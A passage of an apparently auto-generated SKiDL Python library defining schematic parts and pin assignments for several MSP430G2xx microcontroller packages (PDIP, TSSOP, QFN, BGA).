Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/UCB0SOMI/UCB0SCL/TA0.1/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2213IPW28',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2513, 28pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2313IPW28', 'MSP430G2413IPW28', 'MSP430G2513IPW28'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P3.7/TA1CLK/CAOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TDO/TDI/CAOUT/UCB0SIMO/UCB0SDA/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='15',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='SBWTCK/TEST',do_erc=True),
Pin(num='16',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2213IRHB32',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2513, 32pin QFN, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2313IRHB32', 'MSP430G2413IRHB32', 'MSP430G2513IRHB32'],pins=[
Pin(num='1',name='TA0.0/UCA0RXD/UCA0SOMI/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.1/UCA0TXD/UCA0SIMO/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TCK/SMCLK/UCB0STE/UCA0CLK/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TMS/TA0.0/UCB0CLK/UCA0STE/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.7/TA1CLK/CAOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDO/TDI/CAOUT/UCB0SIMO/UCB0SDA/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='14',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='SBWTCK/TEST',do_erc=True),
Pin(num='15',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='18',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='AVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2230ID',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='8pin SOIC, 2KB + 256B Flash Memory, 128B RAM',ref_prefix='U',num_units=1,fplist=['SOIC-8*'],do_erc=True,pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0.1/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/SCLK/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='4',name='TA0.1/SDO/SCL/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SDI/SDA/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='7',name='TEST/SBWTCK',do_erc=True)]),
Part(name='MSP430G2233IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2333IN20', 'MSP430G2433IN20', 'MSP430G2533IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2233IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2533, 20pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2333IPW20', 'MSP430G2433IPW20', 'MSP430G2533IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2233IPW28',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2533, 28pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2333IPW28', 'MSP430G2433IPW28', 'MSP430G2533IPW28'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/UCA0RXD/UCA0SOMI/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/UCA0TXD/UCA0SIMO/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P3.7/TA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TDO/TDI/UCB0SIMO/UCB0SDA/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='15',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='TEST/SBWTCK',do_erc=True),
Pin(num='16',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2233IRHB32',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2533, 32pin QFN, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2333IRHB32', 'MSP430G2433IRHB32', 'MSP430G2533IRHB32'],pins=[
Pin(num='1',name='TA0.0/UCA0RXD/UCA0SOMI/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.1/UCA0TXD/UCA0SIMO/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TCK/SMCLK/UCB0STE/UCA0CLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TMS/TA0.0/UCB0CLK/UCA0STE/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P3.1/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P3.0/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA1.0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1.1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.7/TA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='TA1.1/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='TDI/TCLK/TA0.1/UCB0SOMI/UCB0SCL/A6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TDO/TDI/UCB0SIMO/UCB0SDA/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.3/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='14',name='P3.4/TA0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='TEST/SBWTCK',do_erc=True),
Pin(num='15',name='TA1.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA1.2/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='TA0.1/XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA1.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='18',name='P3.5/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P3.6/TA0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='AVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2444IDA38',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2744, 38pin TSSOP, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2544IDA38', 'MSP430G2744IDA38'],pins=[
Pin(num='1',name='SBWTCK/TEST',do_erc=True),
Pin(num='2',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='3',name='Rosc/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='8',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.3/A12/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.0/A5/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.4/A13/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.5/A14/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P4.6/A15/TBOUTH',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA1/VREF-/VeREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2444IRHA40',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2744, 40pin QFN, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2544IRHA40', 'MSP430G2744IRHA40'],pins=[
Pin(num='1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='5',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='6',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P4.5/TB2/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P4.6/TBOUTH/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA1/VREF-/VeREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P4.3/TB0/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P4.4/TB1/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2444IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='49ball BGA, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2544IYFF', 'MSP430G2744IYFF'],pins=[
Pin(num='A1',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D1',name='SBWTCK/TEST',do_erc=True),
Pin(num='E1',name='TMS/TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='A2',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C2',name='ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='TDO/TDI/TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='C3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D3',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E3',name='TDI/TCLK/TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='F3',name='TA1/VREF-/VeREF-/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='TA2/VREF+/VeREF+/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='ACLK/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='TAINCLK/SMCLK/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F4',name='P3.6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='P3.7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='TA0/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='P3.0/A5/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E5',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='B6',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D6',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='F6',name='P4.5/A14/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C7',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D7',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
